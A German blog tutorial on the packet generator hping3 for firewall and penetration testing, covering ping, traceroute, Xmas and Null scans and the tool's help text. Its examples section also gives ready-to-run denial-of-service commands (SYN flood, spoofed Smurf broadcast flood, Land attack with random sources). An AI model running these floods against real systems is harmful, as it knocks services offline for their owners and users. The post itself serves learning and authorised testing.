Firewall-Tests mit hping

Veröffentlicht: Februar 20, 2016 in Misc
Schlagwörter:, ,

Netzwerk IconHeutzutage sind Penetrationstests ein wichtiger Bestandteil um die Sicherheit in IT-Netzwerken sicherzustellen. Distributionen wie Kali-Linux bieten hierfür eine Vielzahl spezieller Werkzeuge zur Verfügung, eines dieser Tools ist der Paketgenerator hping3.

hping ist eine komanndozeilenorientiertes Tool zum Erstellen und Analysieren von TCP/IP-Paketen.  Neben ICMP werden auch TCP, UDP & RAW-IP-Protokolle unterstützt. Außer zum Aufspüren von Sicherheitslücken lassen sich damit auch Files zwischen eigentlich verdeckten Verbindungen verschicken. Andere Einsatzmöglichkeiten umfassen:

  • Firewall-Tests
  • erweitertes Port-Scanning
  • Netzwerk-Tests mit unterschiedlichen Protokollen, Fragmentierung
  • Überprüfung von TCP/IP-Stacks
  • erweiterter Traceroute-Modus, mit allen unterstützden Protokollen

Weiterhin kann hping, in Kombination mit Wireshark, beim Verständnis von TCP/ip-Grundlagen hilfreich sein.

 

Installation

hping ist für eine Vielzahl von Systemen verfügbar:

  • Linux
  • diverse BSD-Varianten (z.B. FreeBSD, NetBSD)
  • Solaris
  • MacOS X
  • Windows

Unter Debian/Ubuntu ist die Installation gewohnt einfach:

apt-get install hping3

 

Beispiele

Die hier gezeigten Bespiele sind keinesfalls vollständig, aber sie bieten einen Einblick in die Möglichkeiten von hping. Eine Übersicht der einzelnen Optionen befindet sich am Ende des Artikels unter „Usage“.

Hinweis: für die Verwendung von hping3 werden Root-Rechte benötigt

Ping
# hping3 -1 scriptingcorner.net
HPING scriptingcorner.net (eth0 192.0.78.24): icmp mode set, 28 headers + 0 data bytes
len=46 ip=192.0.78.24 ttl=60 id=23547 icmp_seq=0 rtt=24.8 ms
len=46 ip=192.0.78.24 ttl=60 id=23782 icmp_seq=1 rtt=24.6 ms
len=46 ip=192.0.78.24 ttl=60 id=23894 icmp_seq=2 rtt=24.5 ms
^C
--- scriptingcorner.net hping statistic ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 24.5/24.6/24.8 ms

 

Traceroute
# hping3 --traceroute -V -1 scriptingcorner.net
using eth0, addr: 192.168.0.248, MTU: 1500
HPING scriptingcorner.net (eth0 192.0.78.25): icmp mode set, 28 headers + 0 data bytes
hop=1 TTL 0 during transit from ip=192.168.0.1 name=gateway
hop=1 hoprtt=4.5 ms
hop=2 TTL 0 during transit from ip=88.72.224.1 name=dslb-088-072-224-001.088.072.pools.vodafone-ip.de
hop=2 hoprtt=12.3 ms
...

Um festzustellen wo genau der Traffic geblockt wird läßt sich der Trace auch mit Quell (-s) -und Zielport (-p) versehen.

hping3 --traceroute -V -S -p 80 -s 5050 scriptingcorner.net

 

Christmas Tree Paket
hping3 -c 1 -V -p 80 -s 5050 -M 0 -UPF scriptingcorner.net

Beim Xmas-Scan wird die Sequence Number (M) auf 0 und die Flags Urgent (U) + Push (P) und FIN (F) gesetzt.

Null Scan

Im Gegensatz zum Xmas-Scan werden beim Null-Scan keinerlei Flags gesetzt.

hping3 -c 1 -V -p 80 -s 5050 -Y scriptingcorner.net

 

SYN Flood
hping3 -i u1 -S -p 80 ZIEL-IP

-S = SYN-Flag

Smurf Attack
hping3 -1 --flood -a ZIEL-IP BROADCAST-ADDRESSE

Bei dieser DoS-Attacke wird das Ziel-System mit einer gespooften Broadcast-Ping-Nachricht geflutet.
Die Option –flood bewirkt das Pakete so schnell wie möglich gesendet werden und kein Reply angezeigt wird.

Land Attack
hping3 -V -c 1000000 -d 120 -S -w 64 -p 445 -s 445 --flood --rand-source ZIEL-IP

 

Usage
# hping3 -h

usage: hping3 host [options]
-h --help show this help
-v --version show version
-c --count packet count
-i --interval wait (uX for X microseconds, for example -i u1000)
--fast alias for -i u10000 (10 packets for second)
--faster alias for -i u1000 (100 packets for second)
--flood sent packets as fast as possible. Don't show replies.
-n --numeric numeric output
-q --quiet quiet
-I --interface interface name (otherwise default routing interface)
-V --verbose verbose mode
-D --debug debugging info
-z --bind bind ctrl+z to ttl (default to dst port)
-Z --unbind unbind ctrl+z
--beep beep for every matching packet received

Mode
default mode TCP
-0 --rawip RAW IP mode
-1 --icmp ICMP mode
-2 --udp UDP mode
-8 --scan SCAN mode.
Example: hping --scan 1-30,70-90 -S www.target.host
-9 --listen listen mode

IP
-a --spoof spoof source address
--rand-dest random destionation address mode. see the man.
--rand-source random source address mode. see the man.
-t --ttl ttl (default 64)
-N --id id (default random)
-W --winid use win* id byte ordering
-r --rel relativize id field (to estimate host traffic)
-f --frag split packets in more frag. (may pass weak acl)
-x --morefrag set more fragments flag
-y --dontfrag set don't fragment flag
-g --fragoff set the fragment offset
-m --mtu set virtual mtu, implies --frag if packet size > mtu
-o --tos type of service (default 0x00), try --tos help
-G --rroute includes RECORD_ROUTE option and display the route buffer
--lsrr loose source routing and record route
--ssrr strict source routing and record route
-H --ipproto set the IP protocol field, only in RAW IP mode

ICMP
-C --icmptype icmp type (default echo request)
-K --icmpcode icmp code (default 0)
--force-icmp send all icmp types (default send only supported types)
--icmp-gw set gateway address for ICMP redirect (default 0.0.0.0)
--icmp-ts Alias for --icmp --icmptype 13 (ICMP timestamp)
--icmp-addr Alias for --icmp --icmptype 17 (ICMP address subnet mask)
--icmp-help display help for others icmp options

UDP/TCP
-s --baseport base source port (default random)
-p --destport [+][+]<port> destination port(default 0) ctrl+z inc/dec
-k --keep keep still source port
-w --win winsize (default 64)
-O --tcpoff set fake tcp data offset (instead of tcphdrlen / 4)
-Q --seqnum shows only tcp sequence number
-b --badcksum (try to) send packets with a bad IP checksum
many systems will fix the IP checksum sending the packet
so you'll get bad UDP/TCP checksum instead.
-M --setseq set TCP sequence number
-L --setack set TCP ack
-F --fin set FIN flag
-S --syn set SYN flag
-R --rst set RST flag
-P --push set PUSH flag
-A --ack set ACK flag
-U --urg set URG flag
-X --xmas set X unused flag (0x40)
-Y --ymas set Y unused flag (0x80)
--tcpexitcode use last tcp->;th_flags as exit code
--tcp-mss enable the TCP MSS option with the given value
--tcp-timestamp enable the TCP timestamp option to guess the HZ/uptime

Common
-d --data data size (default is 0)
-E --file data from file
-e --sign add 'signature'
-j --dump dump packets in hex
-J --print dump printable characters
-B --safe enable 'safe' protocol
-u --end tell you when --file reached EOF and prevent rewind
-T --traceroute traceroute mode (implies --bind and --ttl 1)
--tr-stop Exit when receive the first not ICMP in traceroute mode
--tr-keep-ttl Keep the source TTL fixed, useful to monitor just one hop
--tr-no-rtt Don't calculate/show RTT information in traceroute mode

ARS packet description (new, unstable)
--apd-send Send the packet described with APD (see docs/APD.txt)
Advertisements

Kommentar verfassen

Trage deine Daten unten ein oder klicke ein Icon um dich einzuloggen:

WordPress.com-Logo

Du kommentierst mit Deinem WordPress.com-Konto. Abmelden /  Ändern )

Google+ Foto

Du kommentierst mit Deinem Google+-Konto. Abmelden /  Ändern )

Twitter-Bild

Du kommentierst mit Deinem Twitter-Konto. Abmelden /  Ändern )

Facebook-Foto

Du kommentierst mit Deinem Facebook-Konto. Abmelden /  Ändern )

w

Verbinde mit %s